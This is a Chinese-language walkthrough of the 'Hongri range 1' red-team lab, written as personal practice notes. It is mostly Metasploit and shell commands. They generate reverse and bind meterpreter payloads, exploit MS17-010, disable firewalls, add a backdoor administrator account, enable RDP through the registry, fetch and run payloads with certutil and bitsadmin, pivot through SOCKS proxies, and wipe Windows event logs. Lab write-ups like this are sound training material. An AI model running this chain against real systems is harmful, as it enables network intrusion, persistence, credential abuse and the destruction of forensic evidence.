红日靶场1

跳过webshell上传阶段,phpmyadmin弱口令进去密码上传没啥记录意义

信息收集

ipconfig /all

抓个明文密码

获得明文密码:hongrisec@2019

域用户

fscan扫过,域用户是存在ms17010永恒之蓝的,上个msf后门,去梭一梭

生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.18.124.194 LPORT=15555 -f exe -o ying.exe

监听

#启动msf
msfconsole
#选择监听
use exploit/multi/handler
#设置tcp监听
set payload windows/meterpreter/reverse_tcp
set lhost 172.18.124.194
set lport 15555
run

把码子传上去,通过webshell运行

搭隧道

添加路由
run get_local_subnets
run autoroute -s 192.168.100.0 255.255.255.0
run autoroute -p

启用代理(这步其实不用做)

background
use auxiliary/server/socks_proxy
run

设置kali的/etc/proxychains4.conf文件

sudo vi /etc/proxychains4.conf

#添加:
socks5 127.0.0.1 1080

#接下来的所有工具想要访问目标内网,都需要加上proxychains代理

挂起会话

background

找洞

search ms17-010

使用

检测模块:
use auxiliary/scanner/smb/smb_ms17_010

查看参数
options

设置参数

set RHOST 192.168.100.101

run

攻击模块:
use exploit/windows/smb/ms17_010_eternalblue

设置参数payload
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.100.101
set LPORT 15554
run

存在永恒之蓝(2003且X32位)

尝试利用:

利用失败,好好好,32位的

use exploit/windows/smb/ms17_010_psexec
set RHOST 192.168.100.101
set PAYLOAD windows/meterpreter/reverse_tcp

利用成功但是会话没建立起来,有大部分概率是被防火墙拦了(我永恒之蓝在靶场里面就没直接利用成功过)

但是权限拿下了,可以执行命令,那就先把防火墙关了试试

use auxiliary/admin/smb/ms17_010_command

set RHOSTS 192.168.100.101
set command netsh firewall set opmode disable
run

2003:
netsh firewall set opmode disable

2008版本及以上:
netsh advfirewall set allprofiles state off

执行命令失败,麻了,我寻思我也没写错啊

换个方式,web靶机搭个http服务,然后上CS码,直接让其下载并运行

set command bitsadmin /transfer myDownloadJob /download /priority normal http://192.168.100.100:12312/kbx32.exe C:/Temp/abc.exe

set command certutil -urlcache -split -f "http://192.168.100.100:12312/kbx32.exe" "C:/Temp/abc.exe"

(win7运行不了go打包的文件,但是这里有python2,先关闭防火墙)

netsh advfirewall set allprofiles state off(不关开不了http服务)
python -m SimpleHTTPServer 12312

bitsadmin和certutil都用不了,G

换个方式,直接通过psexec上传CS码并运行(前提是已经创建了一个转发上线,并且根据这个创后门)

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.100.101
set LHOST 192.168.100.100
set LPORT 15553
set EXE::Custom /home/kali/Desktop/mm/kbx32.exe
exploit

上线了,但是也掉线了,(活不过下一条指令)

直接换成exe上传会把服务打崩,一旦崩了就要重新部署靶机(慎用)

刚才询问了一下学长,msf在打不出网的主机时,需要用bind 正向码,而不是reverse反向码,也就是上面传的码并没有办法连上msf,导致失败,(在这个靶场中并且不能直接传文件,传文件就会导致smb协议崩掉)(试了一下,还是没建立起来,大概率是防火墙拦截了,得想办法关闭防火墙)(关键是这玩意失败之后,把我第一个后门给断掉了)

生成正向码(相当于开了一个监听,等待msf连接)
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=12222 -f exe > 12222.exe
让msf主动连接正向码(这里需要在第一台靶机上做路由转发,并且先运行码子)
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 12222
set rhost 192.168.100.101

还有一个办法,command可以执行命令的话,就新建一个管理员,可以用psexec上去(这个好像要关防火墙),也可以再开3389端口,连上去

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.100.101
set command net user ying QWE123asd! /add
run

set command net localgroup administrators ying /add
run

这里其实可以通过paexec进去

ying/QWE123asd!

因为是本地账户,domian要填写计算机名称

成功上线

创个监听

传个正向码上去

jump psexec 192.168.100.101 ZXMZ

上线成功

再来试试打开3389,通过RDP上去的办法

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.100.101
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

(老到绝大多数netsh命令都执行不了,只能通过注册表的方式了)
set command 'reg add "HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters" /v PortNumber /t REG_DWORD /d 3389 /f'
run

(说实话,我不确定能不能连,感觉并没有开放端口)

找到问题了:因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下,会出现一些符号闭合上的问题

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run 

开启代理

use auxiliary/server/socks_proxy
run

设置代理

sudo vi /etc/proxychains4.conf

#添加:
socks5 127.0.0.1 1080

#接下来的所有工具想要访问目标内网,都需要加上proxychains4代理

连接RDP

proxychains4 rdesktop -f -a 16 192.168.100.101:3389

不知道是代理不能连接,还是端口没开放

看起来是没开放端口

有可能需要重启服务

set command net stop TermService
run

set command net start TermService
run

域控

先信息收集,没抓到域hash

ipconfig扫到了10.10.10.138,这个应该是域控

直接上fscan

运行了几次都跑不起来,一去靶机看:

挺无奈的(再看了别人的wp后,发现这种情况应该是缺少kernel32.dll文件,win7当时运行不了我写的gohttp应该也是这个问题)

看了别人的wp,发现域控和域用户还有web是同一个内网,而我搭建的域控和域用户是一个内网,web和域用户是一个内网,有点没思路了,kaili通过socks5扫不了域控

不对,我记得proxifier可以(但是fscan上proxifier非常不稳定,一下可以一下不行)

(不理解他们怎么扫出来域控ms17010的,感觉是fscan通过proxiner不稳定,我上个msf码试试看)

有一个IIS7,但是扫描后没发现东西

msf码连不上,很奇怪,运行码子没问题,一连接就死亡,CS传递过去算了

启用msf 
msconsole  
(跟cs上选用的payload保持一致就可以)
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http
set lhost 172.18.124.194
set lport 12313

CS设置监听

新建会话

传不上,很奇怪,看了PW,这个靶场的环境存在很大的问题,域控要么用web中抓到的域账号paexec上线,要么就直接ms17010上线,但是在这里,我都做不到,这个靶场我搭建时环境出了点问题,就先这样吧,准备红日2

windows清除痕迹

shell wevtutil cl security    //清理安全日志
shell wevtutil cl system        //清理系统日志
shell wevtutil cl application        //清理应用程序日志
shell wevtutil cl "windows powershell"    //清除power shell日志
shell wevtutil cl Setup     //清除(cl)事件日志中的 "Setup" 事件。

msf打开3389

run post/windows/manage/enable_rdp

命令打开3389
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

映射目标3389端口到跳板机的9999端口上
portfwd add -l 9999 -r 192.168.52.138 -p 3389

nmap扫描主机有防火墙(-PN、-sT必须加)